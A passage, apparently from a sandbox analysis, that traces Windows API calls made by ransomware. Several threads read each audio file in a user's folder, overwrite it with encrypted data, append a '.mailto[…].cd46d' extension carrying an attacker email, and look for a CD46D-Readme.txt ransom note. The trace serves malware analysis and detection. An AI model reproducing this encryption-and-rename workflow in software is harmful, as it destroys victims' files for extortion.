| out: Seed=0x1326fab4) returned 0x219c580f [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0xf29f59c [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x78efb312 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x27831c5b [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x73cc977a [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x334d309f [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x5a6414a6 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x1045d921 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x7d72c9a4 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x375fccea [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x53cb539d [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x30b44a74 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x2e424b8a [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x2e350d42 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x6486ffd8 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x17b4d59a [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x153f5cb0 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x5c8b3567 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x6d11f751 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x381993e6 [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x4ed4c92c [0052.574] RtlRandomEx (in: Seed=0x1326fab4 | out: Seed=0x1326fab4) returned 0x46f92bc7 [0052.587] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.587] ReadFile (in: hFile=0xd44, lpBuffer=0x194f5860, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x1326fa88, lpOverlapped=0x0 | out: lpBuffer=0x194f5860*, lpNumberOfBytesRead=0x1326fa88*=0xc800, lpOverlapped=0x0) returned 1 [0052.587] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44be08 [0052.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437238 [0052.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93a0 [0052.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93a0) returned 1 [0052.588] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x19502068 [0052.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93a0 [0052.592] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9440) returned 1 [0052.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437238) returned 1 [0052.592] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0052.592] WriteFile (in: hFile=0xd44, lpBuffer=0x19502068*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x1326fa88, lpOverlapped=0x0 | out: lpBuffer=0x19502068*, lpNumberOfBytesWritten=0x1326fa88*=0xc800, lpOverlapped=0x0) returned 1 [0056.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19502068) returned 1 [0056.418] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x194f5860) returned 1 [0056.418] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1f) returned 0x4291d8 [0056.418] SetFilePointerEx (in: hFile=0xd44, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.419] WriteFile (in: hFile=0xd44, lpBuffer=0x95d0958*, nNumberOfBytesToWrite=0x103, lpNumberOfBytesWritten=0x1326fb08, lpOverlapped=0x0 | out: lpBuffer=0x95d0958*, lpNumberOfBytesWritten=0x1326fb08*=0x103, lpOverlapped=0x0) returned 1 [0056.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0958) returned 1 [0056.585] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429228) returned 1 [0056.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429200) returned 1 [0056.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291d8) returned 1 [0056.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e93a0) returned 1 [0056.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9418) returned 1 [0056.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9468) returned 1 [0056.586] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9490) returned 1 [0056.586] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbc) returned 0x12f4d780 [0056.586] wcscpy (in: _Dest=0x12f4d780, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3" [0056.586] wcscat (in: _Dest=0x12f4d780, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0056.586] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1326fac0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\LjOjw.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.586] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d4380 [0056.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4380) returned 1 [0056.743] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d84a8) returned 1 [0056.743] NtQueryInformationFile (in: FileHandle=0xd44, IoStatusBlock=0x1326facc, FileInformation=0x1326faa4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1326facc, FileInformation=0x1326faa4) returned 0x0 [0056.743] NtSetInformationFile (FileHandle=0xd44, IoStatusBlock=0x1326facc, FileInformation=0x1326faa4, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.744] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d780) returned 1 [0056.744] FlushFileBuffers (hFile=0xd44) returned 1 [0056.813] CloseHandle (hObject=0xd44) returned 1 [0056.835] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4172c0 [0056.835] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.835] wcscat (in: _Dest=0x4172c0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.835] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 [0056.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07d18) returned 1 Thread: id = 774 os_tid = 0xf40 [0051.532] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\lwktiky.wav")) returned 0x20 [0051.532] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav", dwFileAttributes=0x20) returned 1 [0052.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\lwktiky.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd48 [0052.592] GetFileSizeEx (in: hFile=0xd48, lpFileSize=0x1338f97c | out: lpFileSize=0x1338f97c*=30032) returned 1 [0052.592] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x754c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.592] ReadFile (in: hFile=0xd48, lpBuffer=0x1338f900, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1338f8fc, lpOverlapped=0x0 | out: lpBuffer=0x1338f900*, lpNumberOfBytesRead=0x1338f8fc*=0x4, lpOverlapped=0x0) returned 1 [0052.593] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94b8 [0052.593] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94e0 [0052.593] NtQuerySystemTime (in: CurrentTime=0x1338f8dc | out: CurrentTime=0x1338f8dc*=132174898165800000) returned 0x0 [0052.593] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x6492948e [0052.593] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0xd1ea70a [0052.593] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x4e7a4f0b [0052.593] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x17312f42 [0052.593] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x29b6d000 [0052.593] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x6614b6ed [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x2d00328c [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x2f93555a [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x6f3534ad [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x528b230b [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x18109f7a [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x498408b2 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x13d8410e [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x1ef5f572 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x598ef6e0 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x5f33a2 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x4a429905 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x2c1b4b28 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x39a679de [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x1efe78c [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x6f8ae62d [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x72f756b [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x2078b7a4 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x3257f82 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x1b31f1ff [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x611319c2 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x111b10a [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x4b5f4465 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x59c98ac7 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x93f2b29 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x64eba652 [0052.594] RtlRandomEx (in: Seed=0x1338f8e8 | out: Seed=0x1338f8e8) returned 0x7ed7e60b [0052.607] ReadFile (in: hFile=0xd48, lpBuffer=0x1950e870, nNumberOfBytesToRead=0x7550, lpNumberOfBytesRead=0x1338f8d8, lpOverlapped=0x0 | out: lpBuffer=0x1950e870*, lpNumberOfBytesRead=0x1338f8d8*=0x7550, lpOverlapped=0x0) returned 1 [0052.608] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.608] WriteFile (in: hFile=0xd48, lpBuffer=0x1951b078*, nNumberOfBytesToWrite=0x7550, lpNumberOfBytesWritten=0x1338f8d4, lpOverlapped=0x0 | out: lpBuffer=0x1951b078*, lpNumberOfBytesWritten=0x1338f8d4*=0x7550, lpOverlapped=0x0) returned 1 [0056.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4291b0 [0056.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290e8 [0056.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290e8) returned 1 [0056.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1951b078) returned 1 [0056.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1950e870) returned 1 [0056.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437238) returned 1 [0056.420] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be08) returned 1 [0056.420] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97ceae0 [0056.420] SetFilePointerEx (in: hFile=0xd48, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.421] WriteFile (in: hFile=0xd48, lpBuffer=0x95d0a68*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x1338f93c, lpOverlapped=0x0 | out: lpBuffer=0x95d0a68*, lpNumberOfBytesWritten=0x1338f93c*=0x107, lpOverlapped=0x0) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0a68) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290e8) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceae0) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4291b0) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e94b8) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9508) returned 1 [0056.587] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9530) returned 1 [0056.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d528 [0056.587] wcscpy (in: _Dest=0x12f4d528, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav" [0056.587] wcscat (in: _Dest=0x12f4d528, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav.mailto[2Hamlampampom@cock.li].cd46d" [0056.587] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1338f8f4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\lwKTIKY.wav.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.587] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4460 [0056.748] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4460) returned 1 [0056.749] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d86d0) returned 1 [0056.749] NtQueryInformationFile (in: FileHandle=0xd48, IoStatusBlock=0x1338f900, FileInformation=0x1338f8d8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1338f900, FileInformation=0x1338f8d8) returned 0x0 [0056.749] NtSetInformationFile (FileHandle=0xd48, IoStatusBlock=0x1338f900, FileInformation=0x1338f8d8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.750] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d528) returned 1 [0056.750] FlushFileBuffers (hFile=0xd48) returned 1 [0056.813] CloseHandle (hObject=0xd48) returned 1 [0056.838] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4172c0 [0056.839] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.839] wcscat (in: _Dest=0x4172c0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.839] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.839] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 [0056.839] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07d98) returned 1 Thread: id = 775 os_tid = 0xf44 [0051.533] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\xgpp97.mp3")) returned 0x20 [0051.533] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3", dwFileAttributes=0x20) returned 1 [0052.611] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\xgpp97.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd4c [0052.611] GetFileSizeEx (in: hFile=0xd4c, lpFileSize=0x1267fa64 | out: lpFileSize=0x1267fa64*=11522) returned 1 [0052.611] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x2cfe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.611] ReadFile (in: hFile=0xd4c, lpBuffer=0x1267f9e8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1267f9e4, lpOverlapped=0x0 | out: lpBuffer=0x1267f9e8*, lpNumberOfBytesRead=0x1267f9e4*=0x4, lpOverlapped=0x0) returned 1 [0052.612] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e94e0 [0052.612] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9558 [0052.612] NtQuerySystemTime (in: CurrentTime=0x1267f9c4 | out: CurrentTime=0x1267f9c4*=132174898165956000) returned 0x0 [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x14d1d2ec [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0xcc7e6dc [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0xe4956c3 [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x1bb41eae [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x2313a8bb [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x4dc660b8 [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x58f0785e [0052.612] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x6f175cac [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x4d418f22 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x53eea9e [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x7eaed7ac [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x2f9e745a [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x38c80158 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x202f9b42 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x7ea9be3c [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x705d9783 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x2dc19d6e [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x690b43a7 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x1fbf3356 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x6205a90a [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x5d21b7eb [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x37831637 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x374c040a [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x7a78b808 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x4cf415d5 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x3ca7151b [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x78185eb8 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x448b465c [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x1059621b [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0xfb5e831 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x31202e51 [0052.613] RtlRandomEx (in: Seed=0x1267f9d0 | out: Seed=0x1267f9d0) returned 0x4fbf9c70 [0052.629] ReadFile (in: hFile=0xd4c, lpBuffer=0x19527880, nNumberOfBytesToRead=0x2d02, lpNumberOfBytesRead=0x1267f9c0, lpOverlapped=0x0 | out: lpBuffer=0x19527880*, lpNumberOfBytesRead=0x1267f9c0*=0x2d02, lpOverlapped=0x0) returned 1 [0052.630] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.630] WriteFile (in: hFile=0xd4c, lpBuffer=0x19534088*, nNumberOfBytesToWrite=0x2d02, lpNumberOfBytesWritten=0x1267f9bc, lpOverlapped=0x0 | out: lpBuffer=0x19534088*, lpNumberOfBytesWritten=0x1267f9bc*=0x2d02, lpOverlapped=0x0) returned 1 [0056.422] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4290c0 [0056.422] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429070 [0056.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0056.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19534088) returned 